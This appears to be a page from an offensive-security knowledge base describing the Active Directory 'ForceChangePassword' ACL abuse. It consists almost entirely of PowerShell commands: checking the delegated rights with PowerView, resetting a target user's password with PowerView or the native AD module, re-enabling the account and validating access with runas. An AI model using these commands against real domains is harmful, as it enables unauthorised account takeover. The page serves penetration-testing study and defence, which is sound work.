Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter IV - Active Directory / 04. Techniques / ACL Abuse / ForceChangePassword / Techniques

Windows

PowerView pre-check:

Import-Module .\PowerView.ps1

$Sid = ConvertTo-SID 'OOTW\helpdesk.one'

Get-DomainObjectAcl -Identity 'dylan.brooks' -ResolveGUIDs |
    Where-Object { $_.SecurityIdentifier -eq $Sid }

Reset with PowerView:

$Password = ConvertTo-SecureString 'Helpdesk2026!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OOTW\helpdesk.one', $Password)
$NewPassword = ConvertTo-SecureString 'ResetPass2026!' -AsPlainText -Force

Set-DomainUserPassword -Identity 'dylan.brooks' -AccountPassword $NewPassword -Credential $Cred -Verbose

Reset with native AD module:

$NewPassword = ConvertTo-SecureString 'ResetPass2026!' -AsPlainText -Force
Set-ADAccountPassword -Identity 'dylan.brooks' -Reset -NewPassword $NewPassword
Enable-ADAccount -Identity 'dylan.brooks'

Validate:

runas /netonly /user:OOTW\dylan.brooks cmd.exe